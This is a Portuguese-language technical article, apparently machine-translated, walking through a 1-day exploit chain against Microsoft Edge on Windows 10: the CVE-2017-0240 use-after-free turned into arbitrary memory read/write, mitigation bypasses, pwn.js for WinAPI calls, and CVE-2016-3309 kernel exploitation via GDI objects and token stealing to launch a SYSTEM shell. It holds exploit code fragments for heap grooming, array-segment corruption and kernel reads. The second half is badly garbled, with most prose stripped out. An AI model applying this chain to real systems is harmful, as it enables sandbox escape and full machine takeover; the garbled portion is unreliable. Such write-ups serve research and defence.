
Na estrutura deste artigo, consideraremos com detalhes suficientes o processo de criação de uma exploração para uma vulnerabilidade no Microsoft Edge, com a saída subsequente da sandbox. Se você estiver interessado em saber como é esse processo, seja bem-vindo em cat!
1. Introdução
No mais recente Pwn2Own 2019
em Montreal, na categoria navegadores, foi demonstrada uma exploração por hackers no Microsoft Edge
. Duas vulnerabilidades foram usadas para isso: double free
no renderizador e uma vulnerabilidade lógica para sair da caixa de proteção. Essas duas vulnerabilidades foram recentemente fechadas e atribuídas ao CVE
correspondente: CVE-2019-0940
e CVE-2019-0938
. Você pode ler mais sobre vulnerabilidades no blog: Pwn2Own 2019: Exploração do Microsoft Edge Renderer (CVE-2019-0940). Parte 1 e Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Parte 2
Como parte de nosso artigo, queremos mostrar o processo de gravação dessa exploração e quanto tempo e recursos são necessários para isso usando o exemplo do Microsoft Edge
no Windows 10
usando CVE-2017-0240
e CVE-2016-3309
. Uma das diferenças será que, se a exploração demonstrada no Pwn2Own
usou uma vulnerabilidade lógica para sair da caixa de proteção, em nosso cenário, a vulnerabilidade no kernel do Windows 10
será usada para sair da caixa de proteção. Como os patches da Microsoft
mostram, há muito mais vulnerabilidades no kernel do que vulnerabilidades na implementação da sandbox. Como resultado, é muito mais provável que essa cadeia de vulnerabilidades seja encontrada e será útil saber para os funcionários de SI nas empresas.
Dados de origem
Este artigo abordará o processo de criação de uma exploração de 1 dia para o navegador Microsoft Edge
. CVE-2017-0240
será operado. O primeiro estágio da operação será realizado com base nos materiais da fonte [1], obteremos um arbitrary address read/write
primitivo e também nos familiarizaremos com várias técnicas que podem ser úteis ao explorar essas vulnerabilidades. A seguir, apresentaremos a ferramenta pwn.js
, que o ajudará a obter uma chamada para funções arbitrárias com base na leitura e gravação arbitrárias, e também considerará várias mitigations
e maneiras de contorná-las. No último estágio, a vulnerabilidade do kernel do Windows CVE-2016-3309
será explorada para aumentar privilégios, contornar AppContainer
restrições do AppContainer
e obter controle completo sobre a máquina atacada.
A operação será realizada no estande com o Microsoft Windows 10 Pro 1703 (10.0.15063)
e o navegador Microsoft Edge (40.15063.0.0)
.
Etapa 1. Obtendo uma arbitrary address read/write
Arbitrário
Descrição da vulnerabilidade e obtenção de OOB
Uma vulnerabilidade do tipo use-after-free
presente no método copyFromChannel do objeto Audio Buffer .
AudioBuffer é a interface de um ativo de áudio curto localizado na memória e criado a partir de um arquivo de áudio usando o método AudioContext.decodeAudioData () ou dos dados de origem usando o método AudioContext.createBuffer (). Os dados de áudio colocados no AudioBuffer podem ser reproduzidos no AudioBufferSourceNode.
A apresentação de The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
fornece uma análise detalhada da vulnerabilidade e do patch. Quando o método copyFromChannel
é copyFromChannel
, o conteúdo do canal do buffer de áudio é copiado para o buffer de destination
especificado pelo primeiro argumento. O método também aceita o número do canal ( channelNumber
) e o deslocamento no buffer de áudio ( startInChannel
), começando pelo qual a cópia é necessária. Antes de copiar diretamente os dados para o destination
na função CDOMAudioBuffer::Var_copyFromChannel
, o buffer de destination
é armazenado em cache (o endereço e o tamanho do buffer são armazenados em variáveis de funções locais na pilha) e os valores dos objetos startInChannel
e startInChannel
são startInChannel
no tipo Int
, para o qual o método valueOf
dos objetos convertidos é chamado. A vulnerabilidade é que um buffer em cache pode ser liberado no momento da conversão de tipo no método substituído do objeto valueOf
. Para verificação, usamos o seguinte código:
Esse código usa a tecnologia Web Workers
para liberar o buffer. Depois de criar um Worker
vazio, podemos enviar uma mensagem para ele usando o método postMessage
. O segundo argumento de transfer
opcional desse método ArrayBuffer
uma matriz de objetos Transferable
( ArrayBuffer
, MessagePost
ou ImageBitmap
), os direitos do objeto serão transferidos para Worker
e o objeto não estará mais disponível no contexto atual, para que possa ser excluído. Depois disso, ocorre uma chamada para sleep
- uma função que interrompe temporariamente a execução de um programa (é implementado de forma independente). Isso é necessário para que o sistema de coleta de lixo ( GC
, Garbage Collector
) consiga liberar o buffer, cujos direitos foram transferidos.
Os Web Workers fornecem um meio simples de executar scripts no encadeamento em segundo plano. O encadeamento de trabalho pode executar tarefas sem interferir na interface do usuário. Além disso, eles podem fazer E / S usando XMLHttpRequest (embora os atributos responseXML e channel sempre sejam nulos). Um trabalhador existente pode enviar mensagens JavaScript para o código do criador através do manipulador de eventos especificado por este código (e vice-versa).
Ao executar esse código no Edge no depurador, você pode obter a seguinte falha.

Como resultado, a chamada para copyFromChannel
tenta copiar o conteúdo do buffer de áudio na área de memória não alocada. Para explorar a vulnerabilidade, é necessário conseguir a alocação de qualquer objeto nesta área de memória. Nesse caso, o segmento da matriz é perfeito.
As matrizes no Chakra
(o mecanismo JS
usado no navegador Edge
) são organizadas da seguinte forma: o objeto da matriz tem um tamanho fixo, os ponteiros para os objetos da matriz (ou valores, no caso do IntArray
) são armazenados em uma área de memória separada - o segmento, o ponteiro no qual o objeto está contido array. O cabeçalho do segmento contém várias informações, incluindo o tamanho do segmento, que corresponde ao tamanho da matriz. O tamanho da matriz também está presente no próprio objeto da matriz. Esquematicamente, fica assim:

Portanto, se conseguirmos selecionar o segmento da matriz no espaço liberado anteriormente, podemos substituir o cabeçalho do segmento da matriz pelo conteúdo do buffer de áudio. Para fazer isso, modificamos o código acima adicionando as seguintes linhas após sleep(1000);
:
... arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ...
O tamanho das matrizes é selecionado de forma que o tamanho do segmento da matriz ocupe um segmento inteiro de heap (a parte mínima indivisível da memória heap, cujo tamanho é 0x10000 bytes). Execute esse código, especificando a função memcpy
como um ponto de interrupção (haverá muitas chamadas memcpy
, portanto, faz sentido parar primeiro no edgehtml!WebCore::AudioBufferData::copyBufferData
), no qual ocorreu a falha. Temos o seguinte resultado:

Ótimo! Agora podemos sobrescrever o cabeçalho do segmento da matriz com nossos próprios valores. Os valores mais interessantes nesse caso são o tamanho da matriz, cujo deslocamento podemos ver na captura de tela acima. Altere o conteúdo do buffer de áudio da seguinte maneira:
... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ...
Preste atenção aos valores de ta2[14]
e ta2[15]
- eles já se referem não ao cabeçalho do segmento, mas aos próprios valores da matriz. Com isso, podemos determinar a matriz que precisamos na matriz global arr
, da seguinte maneira:
... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } }
Se, como resultado, uma matriz foi encontrada, os dois primeiros elementos foram alterados de uma certa maneira, tudo está bem. Agora temos uma matriz cujo tamanho do segmento é maior do que realmente é. As matrizes restantes podem ser liberadas.
Aqui é necessário lembrar que o tamanho da matriz existe em duas entidades: no objeto da matriz, onde permaneceu inalterado, e no segmento da matriz, onde o aumentamos. Acontece que o tamanho no objeto da matriz é ignorado se o código for executado no modo JIT
e tiver sido otimizado. Isso é facilmente alcançado, por exemplo, da seguinte maneira:
function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); }
Depois disso, usando as arr_set
e arr_set
você pode ir além dos limites da matriz ( OOB
, out-of-bound
).
Usando OOB
para obter a primitiva de leitura e gravação em um endereço arbitrário
Nesta seção, consideramos uma técnica que permite ler e gravar em um endereço arbitrário usando OOB
. O método pelo qual obtemos isso será semelhante ao usado na fonte [1], mas também haverá mudanças significativas.
Na versão usada do Edge
os blocos de memória para o heap são alocados sequencialmente, devido aos quais, ao alocar um grande número de objetos, mais cedo ou mais tarde eles estarão após o segmento da matriz, além do qual podemos ir.
Primeiro, ele nos permite ler um ponteiro para uma tabela virtual de métodos de objetos ( vftable
), para que possamos ignorar a randomização do espaço de endereço do processo ( ASLR
). Mas o acesso a quais objetos nos ajudará a obter leitura e escrita arbitrárias? Alguns objetos DataView
são ótimos para isso.
O DataView fornece uma interface de baixo nível para leitura e gravação de vários tipos numéricos em um ArrayBuffer binário, independentemente da ordem dos bytes da plataforma.
A estrutura interna do DataView
contém um ponteiro para um buffer. Para ler e gravar em um endereço arbitrário, por exemplo, podemos construir uma cadeia de dois DataView
( dv1
e dv2
) da seguinte maneira: como buffer dv1
especifique o endereço dv2
acessando a matriz. Agora, usando dv1
, podemos alterar o endereço do buffer dv2
, devido ao qual leitura e gravação arbitrárias são obtidas. Esquematicamente, isso pode ser representado da seguinte maneira:

Para usar esse método, você precisa aprender como determinar os endereços dos objetos na memória. Para fazer isso, existe a seguinte técnica: você precisa criar uma nova Array
, use OOB
para salvar sua vftable
e typeId
(os dois primeiros campos de 64 bits da estrutura) e atribuir o objeto ao qual o endereço é de interesse para o primeiro elemento da matriz. Em seguida, você deve restaurar os typeId
e vftable
salvos anteriormente. Agora, a palavra dupla júnior e sênior do endereço do objeto pode ser obtida consultando o primeiro e o segundo elemento da matriz. O fato é que, por padrão, a nova matriz é IntArray
e os valores de 4 bytes da matriz são armazenados em seu segmento como estão. Ao atribuir um objeto a uma matriz, a matriz é convertida em um ObjectArray
e seu segmento é usado para armazenar os endereços dos objetos. A conversão muda vftable
e typeId
. Portanto, se restaurarmos os valores originais vftable
e typeId
, através dos elementos dessa matriz, podemos acessar o segmento diretamente. O processo esquematicamente descrito pode ser representado da seguinte maneira:

A função para obter o endereço terá a seguinte aparência:
function addressOf(obj) { var hdr_backup = new Array(4);
Uma questão em aberto continua sendo a criação dos objetos necessários e sua pesquisa usando OOB
. Como mencionado anteriormente, ao alocar um grande número de objetos, mais cedo ou mais tarde eles começarão a se destacar após o segmento da matriz, além do qual podemos ir. Para encontrar os objetos necessários, basta percorrer os índices fora da matriz em busca dos objetos necessários. Porque todos os objetos do mesmo tipo estão localizados em um segmento do heap, você pode otimizar a pesquisa e percorrer os segmentos do heap em incrementos de 0x10000
e verificar apenas os primeiros valores desde o início de cada segmento do heap. Para identificar objetos, você pode definir valores exclusivos para alguns parâmetros (por exemplo, para DataView
pode ser byteOffset
) ou, usando as constantes já conhecidas na estrutura do objeto (por exemplo, na versão usada do Edge
no IntArray
, o valor 0x10005
sempre é encontrado em 0x18
).
Ao combinar todas as técnicas acima, você pode ler e gravar em um endereço arbitrário. Abaixo está uma captura de tela da leitura de objetos de memória DataView
.

Etapa 2. Executando funções arbitrárias da API
Nesse estágio, pudemos ler e gravar em um endereço arbitrário dentro do processo de exibição de conteúdo do Edge
. Considere as principais tecnologias que devem interferir com a operação adicional do aplicativo e suas soluções alternativas. Já escrevemos uma pequena série de artigos app specific security mitigation
( parte 1, introdutória , parte 2, Internet Explorer e Edge , parte 3, Google Chrome ), mas lembre-se de que os desenvolvedores não param e adicionam novas ferramentas aos seus produtos proteção.
Randomização do espaço de endereço ( ASLR
)
O ASLR (randomização de layout de espaço de endereço em inglês) é uma tecnologia usada em sistemas operacionais que altera aleatoriamente o local de estruturas de dados importantes no espaço de endereço do processo, a saber: imagens de arquivos executáveis, bibliotecas carregadas, pilhas e empilhar.
Acima, aprendemos a ler os endereços das tabelas de classes virtuais, usando-os; podemos calcular facilmente o endereço base do módulo Chakra.dll
, para que o ASLR
não apresente problemas para operações posteriores.
Proteção de execução de dados ( DEP
, NX
)
O Data Execution Prevention (DEP) é um recurso de segurança incorporado ao Linux, Mac OS X, Android e Windows que impede que um aplicativo execute código de uma área de memória marcada como "somente dados". Isso impedirá alguns ataques, que, por exemplo, salvam o código em uma área usando estouros de buffer.
Uma maneira de contornar essa proteção é chamar o VirtualAlloc
usando cadeias ROP
. Mas no caso do Edge
esse método não funcionará devido ao ACG
(veja abaixo).
Protetor de fluxo de controle ( CFG
)
CFG
é um mecanismo de proteção que visa complicar o processo de exploração de vulnerabilidades binárias em aplicativos de modo de usuário e kernel. O trabalho desse mecanismo consiste em validar chamadas indiretas, o que impede um invasor de interceptar o encadeamento de execução (por exemplo, substituindo a tabela de funções virtuais)
Essa tecnologia controla apenas chamadas indiretas, por exemplo, chamadas de método da tabela virtual de funções de objeto. Os endereços de retorno na pilha não são controlados e isso pode ser usado para criar cadeias ROP
. O uso futuro de cadeias ROP/JOP/COP
pode ser dificultado pela nova tecnologia Intel
: Control-flow Enforcement Technology
( CET
). Essa tecnologia consiste em duas partes:
Shadow Stack
sombras (shadow shadow) - usada para controlar endereços de retorno e protege contra cadeias de ROP
;Indirect Branch Tracking
é um método de proteção contra cadeias JOP/COP
. É uma nova instrução ENDBRANCH
que marca todos os endereços de transição válidos para instruções de call
e jmp
.
Guarda de Código Arbitrário ( ACG
)
ACG
é uma tecnologia que impede a geração dinâmica de código (é proibido alocar áreas de memória VirtaulAlloc
usando VirtaulAlloc
) e suas modificações (é impossível VirtaulAlloc
área de memória existente como executável)
Essa proteção, como o CFG
, não impede o uso de cadeias ROP
.
Isolamento do AppContainer
AppContainer é uma tecnologia da Microsoft que permite isolar um processo executando-o em um ambiente em área restrita. Essa tecnologia restringe o acesso de um processo a credenciais, dispositivos, um sistema de arquivos, uma rede, outros processos e janelas e visa minimizar os recursos de malware que têm a capacidade de executar código arbitrário em um processo.
Essa proteção complica muito o processo de operação. Por esse motivo, não podemos chamar arquivos executáveis de terceiros nem acessar informações confidenciais do usuário na memória ou em discos. No entanto, essa proteção pode ser superada explorando vulnerabilidades na implementação da caixa de proteção AppContainer ou aumentando os privilégios através da exploração de vulnerabilidades no kernel do SO.
Vale ressaltar que a Microsoft
possui um programa de recompensa separado para técnicas para contornar security mitigation
tecnologias de security mitigation
. O programa indica que a reutilização de código executável (a construção de cadeias ROP
é uma variação dessa técnica) não se enquadra no programa, porque é uma questão arquitetônica.
Usando pwn.js
A partir de uma análise de todas as tecnologias de segurança, segue-se que, para poder executar código arbitrário, você precisa ignorar a caixa de proteção do AppContainer
. Neste artigo, descrevemos um método usando uma vulnerabilidade no kernel do Windows
. Nesse caso, podemos usar apenas código JS
e cadeias ROP
. Escrever uma exploração para o kernel usando apenas cadeias ROP
pode ser muito difícil. Para simplificar essa tarefa, você pode encontrar um conjunto de gadgets com os quais poderíamos chamar os métodos WinAPI
necessários. Felizmente, isso já está implementado na biblioteca pwn.js
Usando-o, tendo descrito apenas as funções de leitura e gravação para leitura e gravação arbitrárias, você pode obter uma API
conveniente para encontrar as funções WinAPI
necessárias e chamá-las. pwn.js
também fornece uma ferramenta conveniente para trabalhar com valores de 64 bits e ponteiros e ferramentas para trabalhar com estruturas.
Considere um exemplo simples. Na etapa anterior, obtivemos uma cadeia de dois DataView
relacionados. Para preparar a exploração, você deve criar a seguinte classe:
var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ...
, MessageBoxA
:
function run() { with (new Exploit()) {
:

3.
WinAPI
. . CVE-2016-3309
. [7] [8], pwn.js
[2] , GDI
-. [9], [10] [11]. . , . , AppContainer
, pwn.js
. cmd.exe
SYSTEM
.
GDI — Windows , , .
, . JS
- 64- kernel_read_64
kernel_write_64
, . Windows. BITMAP
, . pwn.js
. BITMAP
, , :
var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)],
Tid
KTHREAD
, , , EmpCheckErrataList
, . , :
... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ...
, AppContainer
. AppContainer
IsPackagedProcess
( Process Environment Block
, PEB
), . Access Token
, AppContainer
. Access Token
, . Access Token
, . EPROCESS
ActiveProcessLinks
, . PEB
EPROCESS
. PsInitialSystemProcess
, , ActiveProcessLinks
.
Edge
: , Edge
. SYSTEM
. , , winlogon.exe
.
pwn.js
:
:

YouTube , Microsoft Edge.
Sumário
:
- ,
Edge
Windows
, 13 , CVE-2017-0240
, . CVE-2016-3309
. JS
- 666
JS
- :
cmd.exe
SYSTEM
,
, , . , , . .
- Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
- Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
Exploitation - Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
- Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
- phoenhex team — cve-2018-8629-chakra.js
- Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
- Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
- Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
- Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
- Diego Juarez — Abusing GDI for ring0 exploit primitives
- Nicolas A. Economou — Abusing GDI for ring0 exploit
primitives: Evolution - pwn.js